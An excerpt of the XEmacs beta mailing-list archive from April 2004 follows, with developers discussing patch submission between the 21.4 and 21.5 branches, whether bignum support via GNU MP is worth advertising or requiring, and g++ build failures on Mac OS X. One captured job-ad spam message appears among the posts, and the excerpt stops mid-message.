tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K9VSs02398 for ; Tue, 20 Apr 2004 05:31:29 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFrb4-0005Ev-00; Tue, 20 Apr 2004 18:31:18 +0900 To: Sven Grundmann Cc: xemacs-beta@xemacs.org Subject: Re: submiting patches against 21.4 or 21.5 ? References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 18:31:17 +0900 In-Reply-To: (Sven Grundmann's message of "Tue, 20 Apr 2004 10:09:59 +0200") Message-ID: <8765bvro62.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Sven" == Sven Grundmann writes: Sven> i submited a patch for etags.el some time ago. I continued Sven> my work and fixed completion tables for exuberant ctags. I Sven> also made a small fix to list-mode.el to fix completion list Sven> having the width of the frame instead the width of the Sven> window. Sven> Currently i use these in my 21.4 build. Should i submit the Sven> patches against 21.4 or should i fit them into 21.5 and Sven> submit them against 21.5 ? Sven> What would be prefered ? Both:-) The way things work right now is that new development is done in 21.5, and all "Review Board" members have the right to approve and commit patches to that tree. The stable tree, currently 21.4, has a gatekeeper, Vin Shelton, who must approve all patches, and generally applies them himself. So by definition most reviewers can't apply to 21.4, and Vin is too busy to do much with 21.5. So if you don't submit both patches, the one you don't submit is likely to drag on for longer before being reviewed and approved. Also, it's more likely to slip through the cracks and be "lost". (If you think that's the case, just ask on xemacs-beta.) In this particular case, this is a pretty important contribution for current users, and you should definitely prefer 21.4. Second, the odds are pretty good that patches against etags.el for 21.4 will work for 21.5, I just haven't had time to try personally, and that goes for the other reviewers too, apparently. You have to judge based on your own time and resources, and what your goals for the patch are. Maybe you just want to practice using patcher.el?:-) -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 05:43:18 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3K9h1s16240; Tue, 20 Apr 2004 05:43:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K9g8H15237 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 05:42:08 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3K9g6J15208 for turnbull@tux.org; Tue, 20 Apr 2004 05:42:06 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3K9g5s15183 for ; Tue, 20 Apr 2004 05:42:06 -0400 Received: (qmail 4523 invoked from network); 20 Apr 2004 11:42:04 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 20 Apr 2004 11:42:04 +0200 Received: (qmail 15152 invoked from network); 20 Apr 2004 11:42:03 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 20 Apr 2004 11:42:03 +0200 To: XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Tue, 20 Apr 2004 11:43:59 +0200 In-Reply-To: (Steve Youngs's message of "Tue, 20 Apr 2004 10:19:23 +1000") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Steve Youngs writes: > * Hrvoje Niksic writes: > > > I don't think we should advertise bignums as a major feature prior > > to any benchmarking having been done. > > We were saying that we support bignums, we didn't say anything about > how it affects performance. The thing is, I'm not sure we should rush into supporting them before we even see what we're bargaining for. > > We might want to include the source of GNU MP (or equivalent) in a > > `lib/' directory and use it on machines that lack it on the system. > > I don't see the point in doing this. Unless of course you also > include the source for libpng, libjpeg, libcompface, Those aren't necessary to produce a functional XEmacs. bignums might be, if we start relying on them (which I'd personally *like*). > > For implementational simplicity, we might also want to avoid > > supporting BSD MP -- but that's obviously Jerry's call. > > Yes, it's Jerry's call, but seeing as though he's already done it, > we may as well keep it. :-) There's also the small matter of maintaining it. :-) From xemacs-beta-admin@xemacs.org Tue Apr 20 07:15:19 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KBF5s03384; Tue, 20 Apr 2004 07:15:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KBEFw02282 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 07:14:16 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KBEE102235 for turnbull@tux.org; Tue, 20 Apr 2004 07:14:14 -0400 Received: from kcte.net (kcte.net [199.239.248.2]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KBECs02204; Tue, 20 Apr 2004 07:14:12 -0400 Received: from grendal (68-69-36-139.mgtnwv.adelphia.net [68.69.36.139]) (authenticated bits=0) by kcte.net (8.12.11/8.12.11) with ESMTP id i3KBE3Vn052646 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 20 Apr 2004 07:14:04 -0400 (EDT) Date: Tue, 20 Apr 2004 07:13:58 -0400 (EDT) From: robert delius royar Reply-To: robert delius royar To: "Stephen J. Turnbull" cc: XEmacs Beta List Subject: Re: configure sets wrong warnings for G++ [was: GMP causes spew ...] In-Reply-To: <87k70brucw.fsf_-_@tleepslib.sk.tsukuba.ac.jp> Message-ID: References: <87y8oswfyp.fsf@tleepslib.sk.tsukuba.ac.jp> <87d664wbfy.fsf@tleepslib.sk.tsukuba.ac.jp> <87k70brucw.fsf_-_@tleepslib.sk.tsukuba.ac.jp> Organization: An Apple OS X XEmacs missionary Priority: NEW Precedence: first-class MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: clamd / ClamAV version 0.68-1, clamav-milter version 0.67a X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Tue, 20 Apr 2004 about 16:17 +0900 UTC Stephen J. Turnbull wrote: > >>>>> "robert" == robert delius royar writes: > > robert> cc1plus: warning: "-Wmissing-declarations" is valid for > robert> C/ObjC but not for C++ > > I don't think you have the most recent configure. If you do, I've > screwed up the warning configuration code Yet Again. (But it Works > For Me....) > > I would appreciate it if you would update configure and check whether > the command for g++ it produces contains "-missing-declarations" (you > can just look in the Installation file, which should tell you both cc > for XEmacs and cc for lib-src if they are different). No I had the most recent configure. I just did the recompile of the gmp files by hand. I don't use g++ much. The error involving BIGNUMs on OS X is confined to Fink's port. But there are other errors related to the 20040419 CVS. I have tried a few builds and include errors and warnings I found below. The resulting XEmacs (only linkable using gcc) is "XEmacs 21.5 (beta17) "chayote" (+CVS-20040419) [Lucid] (powerpc-apple-darwin7.3.0, Mule) of Tue Apr 20 2004 on grendal.frinabulax.org" g/cc|++ --version (GCC) 3.3 20030304 (Apple Computer, Inc. build 1635) (-mlongcall) uname -a Darwin grendal.frinabulax.org 7.3.0 Darwin Kernel Version 7.3.0: Fri Mar 5 14:22:55 PST 2004; root:xnu/xnu-517.3.15.obj~4/RELEASE_PPC Power Macintosh powerpc As a preface to all this, I should say I have a "clean" install of 10.3 which has been incrementally updated to 10.3.3. Some Mac developers have reported problems with compilations on systems where the old OS was not moved aside before the install, and others have reported that a clean install affects linking--could relate to the link error I found (below). Today I tried to recompile the entire tree (after 'make realclean') using first g++ then gcc. g++ would not compile using my usual configuration (but not BIGNUM related) or link with other configurations. Two different situations with some attempts to remedy are described below. gcc compiled and linked without a problem except for warnings I always see (which are at the very end of this message). '--xemacs-compiler=g++', I got this far: g++ -c -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wpointer-arith -Weffc++ -no-cpp-precomp -Os -Demacs -I. -DHAVE_CONFIG_H -I/usr/local/include -I/usr/X11R6/include menubar.c menubar.c: In function `Lisp_Object current_frame_menubar(const frame*)': menubar.c:133: error: non-lvalue in unary `&' make[1]: *** [menubar.o] Error 1 make: *** [src] Error 2 Here is the function from meunubar.c: Lisp_Object current_frame_menubar (const struct frame* f) { struct window *w = XWINDOW (FRAME_LAST_NONMINIBUF_WINDOW (f)); return symbol_value_in_buffer (Qcurrent_menubar, w->buffer); } But that file has not changed since February of this year. So I reconfiged without using unions for Lisp_Object. I have found another "border case" for testing. Mixing --use-union-type with C++ compilation and g++ 3.3 on this machine (OS X 10.3.3) will not compile. [Using gcc --with-union-type compiles menubar.c without an error.] However, and even worse, using g++ without union-type fails with the link: g++ -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wpointer-arith -Weffc++ -no-cpp-precomp -Os -L/usr/X11R6/lib -o temacs [all the source] ../lwlib/liblw.a -lXaw3d -ltiff -lpng -ljpeg -lz -lXpm -lXmu -lXt -lXext -lX11 -lSM -lICE -lgmp -lgdbm -lncurses -L/usr/local/lib -lesd -laudiofile -lm -lintl ld: /usr/local/lib/libstdc++.a(eh_personality.o) section's (__TEXT,__eh_frame) type S_REGULAR does not match previous objects type S_COALESCED ld: warning multiple definitions of symbol _alarm signal.o definition of _alarm in section (__TEXT,__text) /usr/lib/libm.dylib(alarm.So) definition of _alarm make[1]: *** [temacs] Error 1 make: *** [src] Error 2 This does not cause the link to fail IFF gcc is the compiler because the error 'type S_REGULAR does not match' does not occur. Is this related to XEmacs or some Apple problem? I have seen similar errors involving S_COALESCED and S_REGULAR with g++ used in packages from CPAN that fail the link stage. gcc Warnings during compilation: A few warnings about size of arguments not matching expectations: emacs.c: In function `xemacs_21_5_b17_powerpc_apple_darwin7_3_0': emacs.c:832: warning: unsigned int format, size_t arg (arg 2) emacs.c:832: warning: unsigned int format, size_t arg (arg 3) extents.c: In function `print_extent_1': extents.c:3128: warning: long int format, int arg (arg 3) extents.c:3128: warning: long int format, int arg (arg 4) print.c: In function `debug_p4': print.c:2175: warning: long int format, int arg (arg 2) process-unix.c: In function `unix_open_network_stream': process-unix.c:1891: warning: long int format, int arg (arg 4) Warnings that show up in successful ggc build (only the ones that look like possible errors where OS-defined macros are replaced by XEmacs ones). database.c:51: warning: redefinition of `u_int8_t' /usr/include/ppc/types.h:70: warning: `u_int8_t' previously declared here database.c:52: warning: redefinition of `u_int16_t' /usr/include/ppc/types.h:72: warning: `u_int16_t' previously declared here database.c:53: warning: redefinition of `u_int32_t' /usr/include/ppc/types.h:74: warning: `u_int32_t' previously declared here floatfns.c: In function `Fexpt': floatfns.c:493: warning: declaration of `exp' shadows a global declaration /usr/include/architecture/ppc/math.h:248: warning: shadowed declaration is here Misc warnings (no prototype, etc.) number.c:86: warning: no previous prototype for `string_to_bignum' number.c:329: warning: no previous prototype for `make_floating' sound.c: In function `Fplay_sound_file': sound.c:96: warning: unused variable `d' -- Dr. Robert Delius Royar Associate Professor of English Morehead State University Morehead, Kentucky From xemacs-beta-admin@xemacs.org Tue Apr 20 07:30:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KBU4s23278; Tue, 20 Apr 2004 07:30:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KBTAu22138 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 07:29:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KBT8K22110 for turnbull@tux.org; Tue, 20 Apr 2004 07:29:08 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KBT4s22009; Tue, 20 Apr 2004 07:29:04 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFtQl-0006g6-00; Tue, 20 Apr 2004 20:28:47 +0900 To: Hrvoje Niksic Cc: XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 20:28:47 +0900 In-Reply-To: (Hrvoje Niksic's message of "Tue, 20 Apr 2004 11:43:59 +0200") Message-ID: <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> The thing is, I'm not sure we should rush into supporting Hrvoje> [bignums] before we even see what we're bargaining for. GNU MP seems to be a very actively maintained library, with a rather demanding community. I don't think support is much to worry about, unless the API is going to change. Hrvoje> [Image libraries] aren't necessary to produce a functional Hrvoje> XEmacs. In practice, XPM and PNG are. We've even seen crashes from lack of them (easily fixed, but the point is that developers were assuming that those libraries would be present). Hrvoje> bignums might be, if we start relying on them (which I'd Hrvoje> personally *like*). What do you mean by "rely"? Eg, you know how many years it took to get rid of #define LISP_FLOAT or whatever it was. With 64-bit CPUs coming on-line for moderately rich people in the near future, bignums and friends are just coolness from the pro's perspective, and a way for people who can't afford top-end CPUs to break one more arbitrary barrier. I don't see relying on them ever, not for XEmacs's core competences. Unless of course we support Microsoft Word files, which currently seem on track to achieve bignum scale by 2010. :-P >>> For implementational simplicity, we might also want to avoid >>> supporting BSD MP -- but that's obviously Jerry's call. >> Yes, it's Jerry's call, but seeing as though he's already done >> it, we may as well keep it. :-) Hrvoje> There's also the small matter of maintaining it. :-) Yes, and that looks like a real burden, since (1) BSD MP is highly variable across vendors, and (2) at least FreeBSD is moving to deprecate it according to Kaarthik. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 20 08:01:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KC11s00903; Tue, 20 Apr 2004 08:01:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KC0BF31866 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 08:00:11 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KC05Z31668 for turnbull@tux.org; Tue, 20 Apr 2004 08:00:05 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KC03s31612 for ; Tue, 20 Apr 2004 08:00:03 -0400 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3KBx7w2014115; Tue, 20 Apr 2004 21:59:07 +1000 Mail-Copies-To: never To: XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS Keywords: xemacs,might,bignums References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-X-Day: Only 2431496 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Setting Orange, the 37th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta Date: Tue, 20 Apr 2004 21:59:05 +1000 In-Reply-To: (Hrvoje Niksic's message of "Tue, 20 Apr 2004 11:43:59 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Hrvoje Niksic writes: > Steve Youngs writes: >> * Hrvoje Niksic writes: >> >> > I don't think we should advertise bignums as a major feature >> > prior to any benchmarking having been done. >> >> We were saying that we support bignums, we didn't say anything >> about how it affects performance. > The thing is, I'm not sure we should rush into supporting them > before we even see what we're bargaining for. The salesman in me is crying out "You've got this shiny new feature that your competitor doesn't have... SHOUT IT FROM THE ROOFTOPS!!". :-) >> > We might want to include the source of GNU MP (or equivalent) in a >> > `lib/' directory and use it on machines that lack it on the system. >> >> I don't see the point in doing this. Unless of course you also >> include the source for libpng, libjpeg, libcompface, > Those aren't necessary to produce a functional XEmacs. Neither is libgmp. > bignums might be, if we start relying on them I personally don't believe that this'll happen any time soon. When was the last time something was added to XEmacs that made XEmacs dysfunctional without it? >> > For implementational simplicity, we might also want to avoid >> > supporting BSD MP -- but that's obviously Jerry's call. >> >> Yes, it's Jerry's call, but seeing as though he's already done it, >> we may as well keep it. :-) > There's also the small matter of maintaining it. :-) There's always a catch. :-P -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCFEIsACgkQHSfbS6lLMAMLeQCgut/nIudUvPoRoJdPMGo+D3Sd y8oAoNXFjTvqz8kthlSh6G55LhEctGCd =UaoJ -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Tue Apr 20 08:07:02 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KC71s08475; Tue, 20 Apr 2004 08:07:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KC6I007539 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 08:06:18 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KC6G607503 for turnbull@tux.org; Tue, 20 Apr 2004 08:06:16 -0400 Received: from mxout2.iskon.hr (mxout2.iskon.hr [213.191.128.16]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3KC62s07239 for ; Tue, 20 Apr 2004 08:06:02 -0400 Received: (qmail 7191 invoked from network); 20 Apr 2004 14:05:58 +0200 X-Remote-IP: 213.191.128.14 Received: from mx.iskon.hr (qmailr@213.191.128.14) by mxout2.iskon.hr with SMTP; 20 Apr 2004 14:05:58 +0200 Received: (qmail 25718 invoked from network); 20 Apr 2004 14:05:57 +0200 X-Remote-IP: 213.191.139.219 Received: from hniksic.iskon.hr (213.191.139.219) by mx.iskon.hr with SMTP; 20 Apr 2004 14:05:57 +0200 To: "Stephen J. Turnbull" Cc: XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> From: Hrvoje Niksic Date: Tue, 20 Apr 2004 14:07:58 +0200 In-Reply-To: <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Tue, 20 Apr 2004 20:28:47 +0900") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "Hrvoje" == Hrvoje Niksic writes: > > Hrvoje> The thing is, I'm not sure we should rush into supporting > Hrvoje> [bignums] before we even see what we're bargaining for. > > GNU MP seems to be a very actively maintained library, with a rather > demanding community. I don't think support is much to worry about, > unless the API is going to change. I'm not worried about the support for GNU MP; I'm talking about supporting bignums as a feature without knowing how it affects XEmacs performance. > Hrvoje> bignums might be, if we start relying on them (which I'd > Hrvoje> personally *like*). > > What do you mean by "rely"? I mean assuming bignum arithmetic in newly written code. E.g. assuming that large number arithmetic won't overflow, freely using integer constants like 10000000000000000000000000000000000000000000 in the code, things like that. But I'm arguing three different things in one mail, which makes my position on bignums far from clear. Please allow me to clarify. 1. I like bignums. A lot. My gratitude goes to Jerry for adding them. (In fact, I planned to do so a long time ago, but got scared away by the compiler issues.) In fact, I like bignums so much that I'd like them to become a "required" part of XEmacs. "required" in the sense that XEmacs cannot be built without them and that the users (including us!) can rely on them being present. This sounds controversial, but it's not -- it has always been the case with Python, clisp, CMU CL, and in fact any decent Lisp or Scheme implementations. 2. If bignums are to become required in the above sense, we should ship a simple bignum implementation with XEmacs, for the machines that don't have one (think Windows, off-the-shelf Unix, and Linux distros without libgmp-devel). It doesn't have to be fast or have any bells and whistles, but it should be there. 3. Before we proceed with #1, we should take a look at the performance ramifications. We don't have a compiler with fixnum hints and declarations, so *all* integer operations will be checked for overflow. Maybe it's not a big deal at all -- Python seems to manage fine without it -- but I'd like to know for sure. On the one hand, I find it somewhat alarming that bignum support has been committed to CVS without any prior benchmarking. On the other hand, I'm as called as anyone to do the benchmarking, so I'm not complaining *too* hard. :-) > Eg, you know how many years it took to get rid of #define LISP_FLOAT > or whatever it was. I think the ability to turn off floats was a remnant from Emacs 18, which would still run on *really* slow machines, and which was still thought of as primarily an editor ("why do I need floating point to edit files??") I personally never cared for it, and the interpreted languages like Perl and Python never had it. But they do have bignums. > I don't see relying on them ever, not for XEmacs's core competences. > Unless of course we support Microsoft Word files, which currently > seem on track to achieve bignum scale by 2010. :-P I'm not proposing using bignums for buffer internals, if that's what you mean. They might be used to raise the buffer max. size limit from 1G to 2G or 4G, but even I concede that that would too much work for very little gain. Even without affecting the buffer size limit, I find the prospect of having bignums in Lisp very exciting nonetheless! From stafff1@aol.com Tue Apr 20 08:14:30 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KCETs17974 for ; Tue, 20 Apr 2004 08:14:29 -0400 Received: from 61.86.33.245 (cable241a130.usuarios.retecal.es [212.183.241.130]) by yxa.extundo.com (8.12.11/8.12.11) with SMTP id i3KCE0kb019038 for ; Tue, 20 Apr 2004 14:14:21 +0200 Message-Id: <200404201214.i3KCE0kb019038@yxa.extundo.com> Received: from iris2.directnic.com (iris2.directnic.com [204.251.10.82]) by mail.frontiercoop.com with SMTP; àôøéì, 20 2004 13:48:03 -0300 From: diman39 To: Undisclosed.Recipients@yxa.extundo.com Subject: ixt Sender: diman39 Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Tue, 20 Apr 2004 15:14:33 +0200 X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Spam-Flag: YES X-Spam-Status: Yes, hits=27.3 required=5.0 tests=BAYES_99,FAKED_UNDISC_RECIPS, FORGED_MUA_OUTLOOK,FORGED_OUTLOOK_TAGS,HEAD_ILLEGAL_CHARS,HTML_50_60, HTML_IMAGE_ONLY_06,HTML_MESSAGE,HTML_TITLE_EMPTY,MIME_HTML_ONLY, RCVD_IN_BL_SPAMCOP_NET,RCVD_IN_DSBL,RCVD_IN_DYNABLOCK,RCVD_IN_RFCI, RCVD_IN_SORBS,TO_MALFORMED,TRACKER_ID autolearn=spam version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com This is HTML source of message you composed. Do not modify here. To modify this message press HTML Messages Editor button.
 
 
notice: This is a one time message. You have received this e-mail because you expressed interest in career and employment information. in case you suppose this mail has reached your mailbox by an error, we certainly apologize.
 
 
????: ???? ?? ???? ???? ???? ?????????? ????? ?????????? ???? ?????. ????? ????? ???? ????? ?? ???? ?? ???? ????? ??? ?????, ??? ??????? ???? - ???? ????? ?? ?????. ?? ???? ??????? ????? ?????? ??????, ??? ??? ???.

ljhyfwhchtfxjtocxholbfrffsyw From xemacs-beta-admin@xemacs.org Tue Apr 20 09:59:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KDx2s30912; Tue, 20 Apr 2004 09:59:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KDwnu30588 for xemacs-beta-mailman@xemacs.org; Tue, 20 Apr 2004 09:58:50 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3KDwmd30544 for turnbull@tux.org; Tue, 20 Apr 2004 09:58:48 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3KDwes30346; Tue, 20 Apr 2004 09:58:40 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BFvlm-0007oQ-00; Tue, 20 Apr 2004 22:58:38 +0900 To: Hrvoje Niksic Cc: "Stephen J. Turnbull" , XEmacs beta Subject: Re: [21.5] Tweak etc/NEWS References: <87hdvgwd80.fsf@tleepslib.sk.tsukuba.ac.jp> <87zn96riq8.fsf@tleepslib.sk.tsukuba.ac.jp> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 20 Apr 2004 22:58:38 +0900 In-Reply-To: (Hrvoje Niksic's message of "Tue, 20 Apr 2004 14:07:58 +0200") Message-ID: <87n056rbsh.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Hrvoje" == Hrvoje Niksic writes: Hrvoje> I'm not worried about the support for GNU MP; I'm talking Hrvoje> about supporting bignums as a feature without knowing how Hrvoje> it affects XEmacs performance. We 